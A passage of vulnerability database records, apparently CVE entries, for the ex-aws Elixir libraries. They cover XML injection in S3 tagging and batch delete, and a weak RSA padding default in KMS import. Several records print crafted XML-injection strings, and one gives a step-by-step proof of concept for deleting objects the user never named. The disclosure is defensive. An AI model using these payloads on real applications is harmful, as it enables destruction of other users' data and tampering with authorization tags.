"value": "\u003cp\u003e\u003cstrong\u003e1. Unescaped interpolation.\u003c/strong\u003e \u003ccode\u003eExAws.S3.put_bucket_tagging/2\u003c/code\u003e and \u003ccode\u003eExAws.S3.put_object_tagging/4\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e build each \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e element by placing \u003ccode\u003eto_string(key)\u003c/code\u003e and \u003ccode\u003eto_string(value)\u003c/code\u003e directly inside \u003ccode\u003e\u0026lt;Key\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;Value\u0026gt;\u003c/code\u003e. The module\u0027s \u003ccode\u003eescape_xml_string/1\u003c/code\u003e helper, which \u003ccode\u003edelete_multiple_objects\u003c/code\u003e already applies to object keys, is not used.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Element break-out.\u003c/strong\u003e XML metacharacters in a key or value are emitted verbatim. A value such as \u003ccode\u003eblue\u0026lt;/Value\u0026gt;\u0026lt;/Tag\u0026gt;\u0026lt;Tag\u0026gt;\u0026lt;Key\u0026gt;owner\u0026lt;/Key\u0026gt;\u0026lt;Value\u0026gt;admin\u003c/code\u003e closes the intended \u003ccode\u003e\u0026lt;Value\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e and opens a new \u003ccode\u003e\u0026lt;Tag\u0026gt;\u003c/code\u003e of the attacker\u0027s choosing, so S3 parses two tags where the application intended one.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Effect in S3.\u003c/strong\u003e S3 honors tags in access-control conditions (\u003ccode\u003eaws:RequestTag\u003c/code\u003e, \u003ccode\u003es3:ExistingObjectTag/\u0026lt;key\u0026gt;\u003c/code\u003e) and in cost-allocation reporting, so the injected tag can set an authorization-relevant key the application never meant to assign, or override and corrupt the legitimate tag set.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Unescaped interpolation.** `ExAws.S3.put_bucket_tagging/2` and `ExAws.S3.put_object_tagging/4` in `lib/ex_aws/s3.ex` build each `\u003cTag\u003e` element by placing `to_string(key)` and `to_string(value)` directly inside `\u003cKey\u003e` and `\u003cValue\u003e`. The module\u0027s `escape_xml_string/1` helper, which `delete_multiple_objects` already applies to object keys, is not used.\n\n**2. Element break-out.** XML metacharacters in a key or value are emitted verbatim. A value such as `blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin` closes the intended `\u003cValue\u003e` and `\u003cTag\u003e` and opens a new `\u003cTag\u003e` of the attacker\u0027s choosing, so S3 parses two tags where the application intended one.\n\n**3. Effect in S3.** S3 honors tags in access-control conditions (`aws:RequestTag`, `s3:ExistingObjectTag/\u003ckey\u003e`) and in cost-allocation reporting, so the injected tag can set an authorization-relevant key the application never meant to assign, or override and corrupt the legitimate tag set."
}
],
"value": "1. Unescaped interpolation. ExAws.S3.put_bucket_tagging/2 and ExAws.S3.put_object_tagging/4 in lib/ex_aws/s3.ex build each \u003cTag\u003e element by placing to_string(key) and to_string(value) directly inside \u003cKey\u003e and \u003cValue\u003e. The module\u0027s escape_xml_string/1 helper, which delete_multiple_objects already applies to object keys, is not used.\n\n2. Element break-out. XML metacharacters in a key or value are emitted verbatim. A value such as blue\u003c/Value\u003e\u003c/Tag\u003e\u003cTag\u003e\u003cKey\u003eowner\u003c/Key\u003e\u003cValue\u003eadmin closes the intended \u003cValue\u003e and \u003cTag\u003e and opens a new \u003cTag\u003e of the attacker\u0027s choosing, so S3 parses two tags where the application intended one.\n\n3. Effect in S3. S3 honors tags in access-control conditions (aws:RequestTag, s3:ExistingObjectTag/\u003ckey\u003e) and in cost-allocation reporting, so the injected tag can set an authorization-relevant key the application never meant to assign, or override and corrupt the legitimate tag set."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-62273",
"datePublished": "2026-11-24T14:15:59.569Z",
"dateReserved": "2026-07-13T18:06:12.918Z",
"dateUpdated": "2026-11-24T14:15:59.569Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-131902 (GCVE-0-2026-131902)
Vulnerability from nvd – Published: 2026-11-24 14:13 – Updated: 2026-11-24 14:13
VLAI
EPSS
VEX
Title
XML injection via unescaped VersionId in ExAws.S3.delete_multiple_objects/3
Summary
XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an object version id passed to ExAws.S3.delete_multiple_objects/3 to add objects to the batch delete.
delete_multiple_objects/3 in lib/ex_aws/s3.ex builds the <Delete> request body by placing each object's version between <VersionId> tags without XML escaping. A version such as v1</VersionId></Object><Object><Key>important-file</Key></Object><Object><Key>x</Key><VersionId>v2 closes the caller's object and opens new ones, so S3 deletes objects the application never listed, including other users' objects in the same bucket.
This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
Severity
CWE
- CWE-91 - XML Injection
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_s3/security/advi… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-131902.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-131902 | related |
| https://github.com/ex-aws/ex_aws_s3/commit/4ce4d7… | related |
| https://github.com/ex-aws/ex_aws_s3/commit/eda0b9… | patch |
Impacted products
Date Public
2026-11-24 14:13
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex_aws_s3",
"packageURL": "pkg:hex/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:delete_multiple_objects/3"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.6.0",
"status": "affected",
"version": "2.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.S3\u0027"
],
"packageName": "ex-aws/ex_aws_s3",
"packageURL": "pkg:github/ex-aws/ex_aws_s3",
"product": "ex_aws_s3",
"programFiles": [
"lib/ex_aws/s3.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.S3\u0027:delete_multiple_objects/3"
}
],
"repo": "https://github.com/ex-aws/ex_aws_s3",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "eda0b9b9c63707f7db8d8f18c331df7fda57c397",
"status": "affected",
"version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eReachable only when the application passes a version id derived, even partially, from untrusted input to \u003ccode\u003eExAws.S3.delete_multiple_objects/3\u003c/code\u003e, for example a service that lets users delete a specific object version by id.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Reachable only when the application passes a version id derived, even partially, from untrusted input to `ExAws.S3.delete_multiple_objects/3`, for example a service that lets users delete a specific object version by id."
}
],
"value": "Reachable only when the application passes a version id derived, even partially, from untrusted input to ExAws.S3.delete_multiple_objects/3, for example a service that lets users delete a specific object version by id."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.6.0",
"versionStartIncluding": "2.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"dateAssigned": "2026-11-24T14:13:22.000Z",
"datePublic": "2026-11-24T14:13:43.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eXML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an object version id passed to \u003ccode\u003eExAws.S3.delete_multiple_objects/3\u003c/code\u003e to add objects to the batch delete.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003edelete_multiple_objects/3\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e builds the \u003ccode\u003e\u0026lt;Delete\u0026gt;\u003c/code\u003e request body by placing each object\u0027s \u003ccode\u003eversion\u003c/code\u003e between \u003ccode\u003e\u0026lt;VersionId\u0026gt;\u003c/code\u003e tags without XML escaping. A version such as \u003ccode\u003ev1\u0026lt;/VersionId\u0026gt;\u0026lt;/Object\u0026gt;\u0026lt;Object\u0026gt;\u0026lt;Key\u0026gt;important-file\u0026lt;/Key\u0026gt;\u0026lt;/Object\u0026gt;\u0026lt;Object\u0026gt;\u0026lt;Key\u0026gt;x\u0026lt;/Key\u0026gt;\u0026lt;VersionId\u0026gt;v2\u003c/code\u003e closes the caller\u0027s object and opens new ones, so S3 deletes objects the application never listed, including other users\u0027 objects in the same bucket.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an object version id passed to `ExAws.S3.delete_multiple_objects/3` to add objects to the batch delete.\n\n`delete_multiple_objects/3` in `lib/ex_aws/s3.ex` builds the `\u003cDelete\u003e` request body by placing each object\u0027s `version` between `\u003cVersionId\u003e` tags without XML escaping. A version such as `v1\u003c/VersionId\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003eimportant-file\u003c/Key\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003ex\u003c/Key\u003e\u003cVersionId\u003ev2` closes the caller\u0027s object and opens new ones, so S3 deletes objects the application never listed, including other users\u0027 objects in the same bucket.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"value": "XML Injection vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an object version id passed to ExAws.S3.delete_multiple_objects/3 to add objects to the batch delete.\n\ndelete_multiple_objects/3 in lib/ex_aws/s3.ex builds the \u003cDelete\u003e request body by placing each object\u0027s version between \u003cVersionId\u003e tags without XML escaping. A version such as v1\u003c/VersionId\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003eimportant-file\u003c/Key\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003ex\u003c/Key\u003e\u003cVersionId\u003ev2 closes the caller\u0027s object and opens new ones, so S3 deletes objects the application never listed, including other users\u0027 objects in the same bucket.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
}
],
"impacts": [
{
"capecId": "CAPEC-250",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eAn attacker who controls a version id passed to \u003ccode\u003edelete_multiple_objects/3\u003c/code\u003e can make the batched delete request remove arbitrary additional objects in the same bucket, including objects belonging to other users or critical to the application. Services that let users delete a specific object version by id are affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "An attacker who controls a version id passed to `delete_multiple_objects/3` can make the batched delete request remove arbitrary additional objects in the same bucket, including objects belonging to other users or critical to the application. Services that let users delete a specific object version by id are affected."
}
],
"value": "An attacker who controls a version id passed to delete_multiple_objects/3 can make the batched delete request remove arbitrary additional objects in the same bucket, including objects belonging to other users or critical to the application. Services that let users delete a specific object version by id are affected."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-91",
"description": "CWE-91 XML Injection",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:13:43.953Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"name": "Unescaped VersionId in delete_multiple_objects: XML injection",
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-mwxg-gfj8-x32v"
},
{
"name": "EEF CNA record for CVE-2026-131902",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-131902.html"
},
{
"name": "OSV record EEF-CVE-2026-131902",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-131902"
},
{
"name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
},
{
"name": "Fix commit eda0b9b in ex-aws/ex_aws_s3",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_s3/commit/eda0b9b9c63707f7db8d8f18c331df7fda57c397"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "XML injection via unescaped VersionId in ExAws.S3.delete_multiple_objects/3",
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application lets a user delete a version of their own object and calls \u003ccode\u003eExAws.S3.delete_multiple_objects(\"user-bucket\", [{key, version}])\u003c/code\u003e with the user\u0027s \u003ccode\u003ekey\u003c/code\u003e and \u003ccode\u003eversion\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker sends the key \u003ccode\u003emy-own-file\u003c/code\u003e and the version \u003ccode\u003ev1\u0026lt;/VersionId\u0026gt;\u0026lt;/Object\u0026gt;\u0026lt;Object\u0026gt;\u0026lt;Key\u0026gt;important-file\u0026lt;/Key\u0026gt;\u0026lt;/Object\u0026gt;\u0026lt;Object\u0026gt;\u0026lt;Key\u0026gt;x\u0026lt;/Key\u0026gt;\u0026lt;VersionId\u0026gt;v2\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003edelete_multiple_objects/3\u003c/code\u003e interpolates the version unescaped into the \u003ccode\u003e\u0026lt;Delete\u0026gt;\u003c/code\u003e body.\u003c/li\u003e\n\u003cli\u003eThe body contains three \u003ccode\u003e\u0026lt;Object\u0026gt;\u003c/code\u003e entries, one of them \u003ccode\u003eimportant-file\u003c/code\u003e, which S3 deletes although the user never named it.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application lets a user delete a version of their own object and calls `ExAws.S3.delete_multiple_objects(\"user-bucket\", [{key, version}])` with the user\u0027s `key` and `version`.\n2. The attacker sends the key `my-own-file` and the version `v1\u003c/VersionId\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003eimportant-file\u003c/Key\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003ex\u003c/Key\u003e\u003cVersionId\u003ev2`.\n3. `delete_multiple_objects/3` interpolates the version unescaped into the `\u003cDelete\u003e` body.\n4. The body contains three `\u003cObject\u003e` entries, one of them `important-file`, which S3 deletes although the user never named it."
}
],
"value": "* An application lets a user delete a version of their own object and calls ExAws.S3.delete_multiple_objects(\"user-bucket\", [{key, version}]) with the user\u0027s key and version.\n* The attacker sends the key my-own-file and the version v1\u003c/VersionId\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003eimportant-file\u003c/Key\u003e\u003c/Object\u003e\u003cObject\u003e\u003cKey\u003ex\u003c/Key\u003e\u003cVersionId\u003ev2.\n* delete_multiple_objects/3 interpolates the version unescaped into the \u003cDelete\u003e body.\n* The body contains three \u003cObject\u003e entries, one of them important-file, which S3 deletes although the user never named it."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Selective escaping.\u003c/strong\u003e When \u003ccode\u003edelete_multiple_objects/3\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e builds the \u003ccode\u003e\u0026lt;Delete\u0026gt;\u003c/code\u003e body, it escapes each object\u0027s key with \u003ccode\u003eescape_xml_string/1\u003c/code\u003e but emits the version from the same tuple raw: \u003ccode\u003e\"\u0026lt;VersionId\u0026gt;\", version, \"\u0026lt;/VersionId\u0026gt;\"\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Element break-out.\u003c/strong\u003e XML metacharacters in \u003ccode\u003eversion\u003c/code\u003e are read as markup. A value beginning \u003ccode\u003e\u0026lt;/VersionId\u0026gt;\u0026lt;/Object\u0026gt;\u003c/code\u003e closes the current object early, and the rest of the string can open further \u003ccode\u003e\u0026lt;Object\u0026gt;...\u0026lt;/Object\u0026gt;\u003c/code\u003e elements while keeping the document well-formed.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Extra deletes.\u003c/strong\u003e The body POSTed to S3 lists more delete targets than the caller passed in, so a single crafted version id removes arbitrary additional objects in the bucket.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Selective escaping.** When `delete_multiple_objects/3` in `lib/ex_aws/s3.ex` builds the `\u003cDelete\u003e` body, it escapes each object\u0027s key with `escape_xml_string/1` but emits the version from the same tuple raw: `\"\u003cVersionId\u003e\", version, \"\u003c/VersionId\u003e\"`.\n\n**2. Element break-out.** XML metacharacters in `version` are read as markup. A value beginning `\u003c/VersionId\u003e\u003c/Object\u003e` closes the current object early, and the rest of the string can open further `\u003cObject\u003e...\u003c/Object\u003e` elements while keeping the document well-formed.\n\n**3. Extra deletes.** The body POSTed to S3 lists more delete targets than the caller passed in, so a single crafted version id removes arbitrary additional objects in the bucket."
}
],
"value": "1. Selective escaping. When delete_multiple_objects/3 in lib/ex_aws/s3.ex builds the \u003cDelete\u003e body, it escapes each object\u0027s key with escape_xml_string/1 but emits the version from the same tuple raw: \"\u003cVersionId\u003e\", version, \"\u003c/VersionId\u003e\".\n\n2. Element break-out. XML metacharacters in version are read as markup. A value beginning \u003c/VersionId\u003e\u003c/Object\u003e closes the current object early, and the rest of the string can open further \u003cObject\u003e...\u003c/Object\u003e elements while keeping the document well-formed.\n\n3. Extra deletes. The body POSTed to S3 lists more delete targets than the caller passed in, so a single crafted version id removes arbitrary additional objects in the bucket."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-131902",
"datePublished": "2026-11-24T14:13:43.953Z",
"dateReserved": "2026-11-24T13:01:43.723Z",
"dateUpdated": "2026-11-24T14:13:43.953Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-62271 (GCVE-0-2026-62271)
Vulnerability from nvd – Published: 2026-11-24 12:22 – Updated: 2026-11-24 12:22
VLAI
EPSS
VEX
Title
ex_aws_kms defaults RSA key-material wrapping to PKCS#1 v1.5 in get_parameters_for_import/3
Summary
Use of RSA Algorithm without OAEP vulnerability in ex-aws ex_aws_kms (ExAws.KMS module) causes callers who import external key material to wrap their secret KMS key material with the deprecated PKCS#1 v1.5 padding scheme by default.
This vulnerability is associated with program file lib/ex_aws/kms.ex and program routine ExAws.KMS.get_parameters_for_import/3.
ExAws.KMS.get_parameters_for_import/3 defaults its wrapping_algorithm argument to "RSAES_PKCS1_V1_5". AWS KMS returns this value as the WrappingAlgorithm for the import operation, and it dictates the RSA padding scheme the caller uses to wrap (RSA-encrypt) their secret key material before calling ImportKeyMaterial. AWS KMS also supports the stronger RSAES_OAEP_SHA_1 and RSAES_OAEP_SHA_256 schemes. By defaulting to RSAES_PKCS1_V1_5, the library steers callers who do not explicitly override the argument toward the weakest of the three. PKCS#1 v1.5 encryption padding is susceptible to Bleichenbacher adaptive chosen-ciphertext (padding oracle) attacks, which can recover the wrapped plaintext without the private key given an oracle that reveals whether a decrypted value was validly padded. Because the unwrap happens inside AWS KMS, which does not expose a padding oracle, the practical exploitability is low and this is a defense-in-depth weakness. Callers can avoid the weak default by explicitly passing "RSAES_OAEP_SHA_256" (or "RSAES_OAEP_SHA_1") as the wrapping algorithm.
This issue affects ex_aws_kms: from 2.1.0 before 2.7.0.
Severity
CWE
- CWE-780 - Use of RSA Algorithm without OAEP
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_kms/security/adv… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-62271.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-62271 | related |
| https://github.com/ex-aws/ex_aws_kms/commit/b6663… | related |
| https://github.com/ex-aws/ex_aws_kms/commit/2d7f3… | patch |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| ex-aws | ex_aws_kms |
Affected:
2.1.0 , < 2.7.0
(semver)
cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:* |
|
| ex-aws | ex_aws_kms |
Affected:
b66631f206ec207ab7016c0c4d9f1ec898b56e85 , < 2d7f308da3cf75ab0385c0aebdc84ce65f6754f7
(git)
cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:* |
Date Public
2026-11-24 12:22
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.KMS\u0027"
],
"packageName": "ex_aws_kms",
"packageURL": "pkg:hex/ex_aws_kms",
"product": "ex_aws_kms",
"programFiles": [
"lib/ex_aws/kms.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.KMS\u0027:get_parameters_for_import/3"
}
],
"repo": "https://github.com/ex-aws/ex_aws_kms",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.7.0",
"status": "affected",
"version": "2.1.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.KMS\u0027"
],
"packageName": "ex-aws/ex_aws_kms",
"packageURL": "pkg:github/ex-aws/ex_aws_kms",
"product": "ex_aws_kms",
"programFiles": [
"lib/ex_aws/kms.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.KMS\u0027:get_parameters_for_import/3"
}
],
"repo": "https://github.com/ex-aws/ex_aws_kms",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2d7f308da3cf75ab0385c0aebdc84ce65f6754f7",
"status": "affected",
"version": "b66631f206ec207ab7016c0c4d9f1ec898b56e85",
"versionType": "git"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_kms:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.7.0",
"versionStartIncluding": "2.1.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T12:22:04.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eUse of RSA Algorithm without OAEP vulnerability in ex-aws ex_aws_kms (\u003ccode\u003eExAws.KMS\u003c/code\u003e module) causes callers who import external key material to wrap their secret KMS key material with the deprecated \u003ccode\u003ePKCS#1\u003c/code\u003e v1.5 padding scheme by default.\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program file \u003ccode\u003elib/ex_aws/kms.ex\u003c/code\u003e and program routine \u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eExAws.KMS.get_parameters_for_import/3\u003c/code\u003e defaults its \u003ccode\u003ewrapping_algorithm\u003c/code\u003e argument to \u003ccode\u003e\"RSAES_PKCS1_V1_5\"\u003c/code\u003e. AWS KMS returns this value as the \u003ccode\u003eWrappingAlgorithm\u003c/code\u003e for the import operation, and it dictates the RSA padding scheme the caller uses to wrap (RSA-encrypt) their secret key material before calling \u003ccode\u003eImportKeyMaterial\u003c/code\u003e. AWS KMS also supports the stronger \u003ccode\u003eRSAES_OAEP_SHA_1\u003c/code\u003e and \u003ccode\u003eRSAES_OAEP_SHA_256\u003c/code\u003e schemes. By defaulting to \u003ccode\u003eRSAES_PKCS1_V1_5\u003c/code\u003e, the library steers callers who do not explicitly override the argument toward the weakest of the three. \u003ccode\u003ePKCS#1\u003c/code\u003e v1.5 encryption padding is susceptible to Bleichenbacher adaptive chosen-ciphertext (padding oracle) attacks, which can recover the wrapped plaintext without the private key given an oracle that reveals whether a decrypted value was validly padded. Because the unwrap happens inside AWS KMS, which does not expose a padding oracle, the practical exploitability is low and this is a defense-in-depth weakness. Callers can avoid the weak default by explicitly passing \u003ccode\u003e\"RSAES_OAEP_SHA_256\"\u003c/code\u003e (or \u003ccode\u003e\"RSAES_OAEP_SHA_1\"\u003c/code\u003e) as the wrapping algorithm.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_kms: from 2.1.0 before 2.7.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Use of RSA Algorithm without OAEP vulnerability in ex-aws ex_aws_kms (`ExAws.KMS` module) causes callers who import external key material to wrap their secret KMS key material with the deprecated `PKCS#1` v1.5 padding scheme by default.\n\nThis vulnerability is associated with program file `lib/ex_aws/kms.ex` and program routine `ExAws.KMS.get_parameters_for_import/3`.\n\n`ExAws.KMS.get_parameters_for_import/3` defaults its `wrapping_algorithm` argument to `\"RSAES_PKCS1_V1_5\"`. AWS KMS returns this value as the `WrappingAlgorithm` for the import operation, and it dictates the RSA padding scheme the caller uses to wrap (RSA-encrypt) their secret key material before calling `ImportKeyMaterial`. AWS KMS also supports the stronger `RSAES_OAEP_SHA_1` and `RSAES_OAEP_SHA_256` schemes. By defaulting to `RSAES_PKCS1_V1_5`, the library steers callers who do not explicitly override the argument toward the weakest of the three. `PKCS#1` v1.5 encryption padding is susceptible to Bleichenbacher adaptive chosen-ciphertext (padding oracle) attacks, which can recover the wrapped plaintext without the private key given an oracle that reveals whether a decrypted value was validly padded. Because the unwrap happens inside AWS KMS, which does not expose a padding oracle, the practical exploitability is low and this is a defense-in-depth weakness. Callers can avoid the weak default by explicitly passing `\"RSAES_OAEP_SHA_256\"` (or `\"RSAES_OAEP_SHA_1\"`) as the wrapping algorithm.\n\nThis issue affects ex_aws_kms: from 2.1.0 before 2.7.0."
}
],
"value": "Use of RSA Algorithm without OAEP vulnerability in ex-aws ex_aws_kms (ExAws.KMS module) causes callers who import external key material to wrap their secret KMS key material with the deprecated PKCS#1 v1.5 padding scheme by default.\n\nThis vulnerability is associated with program file lib/ex_aws/kms.ex and program routine ExAws.KMS.get_parameters_for_import/3.\n\nExAws.KMS.get_parameters_for_import/3 defaults its wrapping_algorithm argument to \"RSAES_PKCS1_V1_5\". AWS KMS returns this value as the WrappingAlgorithm for the import operation, and it dictates the RSA padding scheme the caller uses to wrap (RSA-encrypt) their secret key material before calling ImportKeyMaterial. AWS KMS also supports the stronger RSAES_OAEP_SHA_1 and RSAES_OAEP_SHA_256 schemes. By defaulting to RSAES_PKCS1_V1_5, the library steers callers who do not explicitly override the argument toward the weakest of the three. PKCS#1 v1.5 encryption padding is susceptible to Bleichenbacher adaptive chosen-ciphertext (padding oracle) attacks, which can recover the wrapped plaintext without the private key given an oracle that reveals whether a decrypted value was validly padded. Because the unwrap happens inside AWS KMS, which does not expose a padding oracle, the practical exploitability is low and this is a defense-in-depth weakness. Callers can avoid the weak default by explicitly passing \"RSAES_OAEP_SHA_256\" (or \"RSAES_OAEP_SHA_1\") as the wrapping algorithm.\n\nThis issue affects 